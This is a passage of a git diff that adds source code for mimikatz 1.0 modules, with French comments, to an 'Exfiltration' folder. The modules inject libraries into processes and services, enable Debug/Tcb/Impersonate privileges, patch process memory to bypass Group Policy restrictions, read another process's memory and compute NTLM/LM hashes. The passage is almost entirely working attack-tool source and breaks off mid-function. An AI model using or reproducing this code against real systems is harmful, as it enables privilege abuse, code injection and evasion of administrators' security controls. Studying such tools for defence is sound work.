+*/ +#include "mod_mimikatz_hash.h" +#include "..\global.h" + +vector mod_mimikatz_hash::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chane de caractres")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chane de caractres")); + return monVector; +} + +bool mod_mimikatz_hash::lm(vector * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::lm(&chaine, &hash)) + (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash LM" << endl; + return true; +} + +bool mod_mimikatz_hash::ntlm(vector * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::ntlm(&chaine, &hash)) + (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash NTLM" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h new file mode 100644 index 00000000..96ac879b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hash.h" +#include + +class mod_mimikatz_hash +{ +public: + static vector getMimiKatzCommands(); + + static bool lm(vector * arguments); + static bool ntlm(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp new file mode 100644 index 00000000..012c62ac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp @@ -0,0 +1,25 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_impersonate.h" +#include "..\global.h" + +vector mod_mimikatz_impersonate::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf")); + return monVector; +} +bool mod_mimikatz_impersonate::revert(vector * arguments) +{ + (*outputStream) << L"RevertToSelf : "; + if(RevertToSelf()) + (*outputStream) << L"ok"; + else + (*outputStream) << L"ko ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h new file mode 100644 index 00000000..da62b37e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_thread.h" +#include + +class mod_mimikatz_impersonate +{ +public: + static vector getMimiKatzCommands(); + + static bool revert(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp new file mode 100644 index 00000000..74ca84d4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp @@ -0,0 +1,120 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_inject.h" +#include "..\global.h" + +mod_pipe * mod_mimikatz_inject::monCommunicator = NULL; + +vector mod_mimikatz_inject::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service")); + return monVector; +} + +bool mod_mimikatz_inject::process(vector * arguments) +{ + wstring processName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl; + injectInPid(monProcess.th32ProcessID, fullLib); + } + else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::service(vector * arguments) +{ + wstring serviceName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl; + (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl; + injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib); + } + else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::pid(vector * arguments) +{ + wstring strPid = arguments->front(); + wstring fullLib = arguments->back(); + + DWORD pid; + wstringstream monStream(strPid); + monStream >> pid; + + injectInPid(pid, fullLib, !(arguments->size() >= 3)); + + return true; +} + +bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm) +{ + bool reussite = false; + + if(!isComm || (isComm && !monCommunicator)) + { + if(reussite = mod_inject::injectLibraryInPid(pid, &libPath)) + { + if(isComm) + { + wstring monBuffer = L""; + + monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + (*outputStream) << L"Attente de connexion du client..." << endl; + + if(monCommunicator->createServer()) + { + (*outputStream) << L"Serveur connect un client !" << endl; + if(monCommunicator->readFromPipe(monBuffer)) + { + (*outputStream) << L"Message du processus :" << endl << monBuffer << endl; + } + else + { + (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + { + (*outputStream) << L"Erreur : Impossible de crer un canal de communication ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + (*outputStream) << L"Inject sans communication (legacy)" << endl; + } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Erreur : un canal de communicaton est dj ouvert" << endl; + + return reussite; +} + + +bool mod_mimikatz_inject::closeThisCommunicator() +{ + if(monCommunicator) + { + (*outputStream) << L"Fermeture du canal de communication" << endl; + delete monCommunicator; + monCommunicator = NULL; + } + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h new file mode 100644 index 00000000..92b48845 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_inject.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_service.h" +#include "mod_pipe.h" +#include + +class mod_mimikatz_inject +{ +private: + static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true); + static void startComm(); + +public: + static mod_pipe * monCommunicator; + static bool closeThisCommunicator(); + + static vector getMimiKatzCommands(); + + static bool pid(vector * arguments); + static bool process(vector * arguments); + static bool service(vector * arguments); + + static bool injectlegacy(vector * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp new file mode 100644 index 00000000..0d61227f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_minesweeper.h" +#include "..\global.h" + +char DISP_MINESWEEPER[] = "012345678.F? !!"; + +vector mod_mimikatz_minesweeper::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le dmineur en cours")); + return monVector; +} + +bool mod_mimikatz_minesweeper::infos(vector * arguments) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + STRUCT_MINESWEEPER_GAME monGame; + if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper)) + { +#ifdef _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber >= 7000) + monGame.pBoard = monGame.pBoard_WIN7x86; +#endif + STRUCT_MINESWEEPER_BOARD monBoard; + if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper)) + { + (*outputStream) << L"Mines : " << monBoard.nbMines << endl << + L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl << + L"Champ : " << endl << endl; + + char ** monTableau; + monTableau = new char*[monBoard.nbLignes]; + for(DWORD l = 0; l < monBoard.nbLignes; l++) + monTableau[l] = new char[monBoard.nbColonnes]; + + parseField(maStruct, monBoard.ref_visibles, monTableau, true); + parseField(maStruct, monBoard.ref_mines, monTableau, false); + + for(DWORD l = 0; l < monBoard.nbLignes; l++) + { + (*outputStream) << L'\t'; + for(DWORD c = 0; c < monBoard.nbColonnes; c++) + (*outputStream) << monTableau[l][c] << L' '; + (*outputStream) << endl; + delete[] monTableau[l]; + } + delete[] monTableau; + } else (*outputStream) << L"Impossible de lire les donnes du plateau" << endl; + } else (*outputStream) << L"Impossible de lire les donnes du jeu" << endl; + CloseHandle(maStruct->hMineSweeper); + } + delete maStruct; + + return true; +} + +bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible) +{ + DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE); + + STRUCT_MINESWEEPER_REF_ELEMENT maRefElements; + if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements]; + if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + for(DWORD c = 0; c < maRefElements.nbElements; c++) + { + STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement; + if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + void * cellules = isVisible ? reinterpret_cast(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast(new BYTE[maRefColonneElement.nbElements]); + if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper)) + { + for(DWORD l = 0; l < maRefColonneElement.nbElements; l++) + { + if(isVisible) + monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast(cellules)[l]]; + else + if(reinterpret_cast(cellules)[l]) monTableau[l][c] = '*'; + } + } else (*outputStream) << L"Impossible de lire les lements de la colonne : " << c << endl; + delete[] cellules; + } else (*outputStream) << L"Impossible de lire les rfrences de la colonne : " << c << endl; + } + } else (*outputStream) << L"Impossible de lire les rfrences des colonnes" << endl; + delete[] ref_colonnes_elements; + } else (*outputStream) << L"Impossible de lire les rfrences de l\'lement" << endl; + + return true; +} + +bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8}; + LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1); +#elif defined _M_IX86 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8}; + LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1; +#endif + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"minesweeper.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper)) + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper)) + { +#ifdef _M_X64 + long offsetTemp = 0; + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#elif defined _M_IX86 + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#endif + } + } + } + + bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G; + + if(!reussite && monHandleAndAddr->hMineSweeper) + CloseHandle(monHandleAndAddr->hMineSweeper); + + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h new file mode 100644 index 00000000..f80be469 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_system.h" +#include + +class mod_mimikatz_minesweeper +{ +private: + typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { + DWORD nbElements; + DWORD unk0; + DWORD unk1; + PVOID elements; + DWORD unk2; + DWORD unk3; + } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT; + + typedef struct _STRUCT_MINESWEEPER_BOARD { + PVOID Serializer; + DWORD nbMines; + DWORD nbLignes; + DWORD nbColonnes; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + DWORD unk4; + DWORD unk5; + DWORD unk6; + DWORD unk7; + DWORD unk8; + DWORD unk9; +#ifdef _M_X64 + DWORD unk_x64; +#endif + DWORD unk10; + PVOID unk11; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines; + DWORD unk12; + DWORD unk13; + } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD; + + typedef struct _STRUCT_MINESWEEPER_GAME { + PVOID Serializer; + //PVOID pGameStat; on 7x86 + PVOID pNodeBase; + PVOID pBoardCanvas; + PSTRUCT_MINESWEEPER_BOARD pBoard; + PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; + } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; + + typedef struct structHandleAndAddr{ + HANDLE hMineSweeper; + DWORD pidMineSweeper; + PVOID G; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true); + +public: + static vector getMimiKatzCommands(); + static bool infos(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp new file mode 100644 index 00000000..bfc18f11 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_nogpo.h" +#include "..\global.h" + +vector mod_mimikatz_nogpo::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un diteur de registre, ignorant DisableRegistryTools")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst")); + return monVector; +} + +bool mod_mimikatz_nogpo::regedit(vector * arguments) +{ + (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::cmd(vector * arguments) +{ + (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::taskmgr(vector * arguments) +{ + (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::olpst(vector * arguments) +{ + char szDisable[] = "DisablePst"; + char szKiwi[] = "KiwiAndPst"; + + wstring pathToOutlook; + + if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook)) + { + DWORD pidOutlook = 0; + bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook); + + (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO"); + if(reussite) + { + mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast(szDisable), sizeof(szDisable), reinterpret_cast(szKiwi), sizeof(szKiwi)); + } + } else (*outputStream) << L"Outlook introuvable" << endl; + return true; +} + +bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path) +{ + bool reussite = false; + + DWORD regError; + + wstring pathToApplication = L"Software\\Classes\\"; + pathToApplication.append(application); + pathToApplication.append(L"\\CLSID"); + + HKEY hApplication; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationType = 0; + DWORD ApplicationSize = 0; + LPBYTE monGUID = NULL; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationType == REG_SZ) + { + monGUID = new BYTE[ApplicationSize]; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + wstring regPathToPath = +#ifdef _M_X64 + L"Software\\Wow6432Node\\Classes\\CLSID\\"; +#elif defined _M_IX86 + L"Software\\Classes\\CLSID\\"; +#endif + regPathToPath.append(reinterpret_cast(monGUID)); + regPathToPath.append(L"\\LocalServer32"); + + HKEY hApplicationPath; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationPathType = 0; + DWORD ApplicationPathSize = 0; + LPBYTE monPath = NULL; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationPathType == REG_SZ) + { + monPath = new BYTE[ApplicationPathSize]; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(reussite = (regError == ERROR_SUCCESS)) + { + path->assign(reinterpret_cast(monPath)); + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monPath; + } else (*outputStream) << "Le type retourn par \'" << monPath << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplicationPath); + } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monGUID; + } else (*outputStream) << "Le type retourn par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplication); + } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl; + + return reussite; +} + + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID) +{ + bool reussite = false; + + PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION(); + if(mod_process::start(&commandLine, mesInfos, true)) + { + PEB * monPeb = new PEB(); + if(mod_process::getPeb(monPeb, mesInfos->hProcess)) + { + PBYTE patternAddr = NULL; + // Ici NULL est "tolr", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment) + if(mod_memory::searchMemory(reinterpret_cast(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess)) + { + if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess))) + { + (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl; + + delete monPeb; + + if(!(ResumeThread(mesInfos->hThread) != -1)) + (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl; + + if(monPID) + { + *monPID = mesInfos->dwProcessId; + } + + WaitForInputIdle(mesInfos->hProcess, INFINITE); + + CloseHandle(mesInfos->hThread); + CloseHandle(mesInfos->hProcess); + } + else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl; + + delete mesInfos; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t); + PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original diffrente du pattern cible" << endl; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char); + PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original diffrente du pattern cible" << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h new file mode 100644 index 00000000..c96e22f5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include + +class mod_mimikatz_nogpo +{ +private: + static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL); + + static bool getApplicationPathFromCLSID(wstring application, wstring * path); + +public: + static vector getMimiKatzCommands(); + + static bool regedit(vector * arguments); + static bool cmd(vector * arguments); + static bool taskmgr(vector * arguments); + static bool olpst(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp new file mode 100644 index 00000000..1b294866 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp @@ -0,0 +1,167 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_privilege.h" +#include "..\global.h" + +vector mod_mimikatz_privilege::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Dsactive un ou plusieurs privilges")); + /* Raccouris */ + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou dsactive) le privilge Debug")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou dsactive) le privilge Security")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou dsactive) le privilge Tcb")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou dsactive) le privilge Impersonate")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou dsactive) le privilge AssignPrimaryToken")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou dsactive) le privilge Shutdown")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou dsactive) le privilge TakeOwnership")); + return monVector; +} + +bool mod_mimikatz_privilege::enable(vector * arguments) +{ + bool reussite = 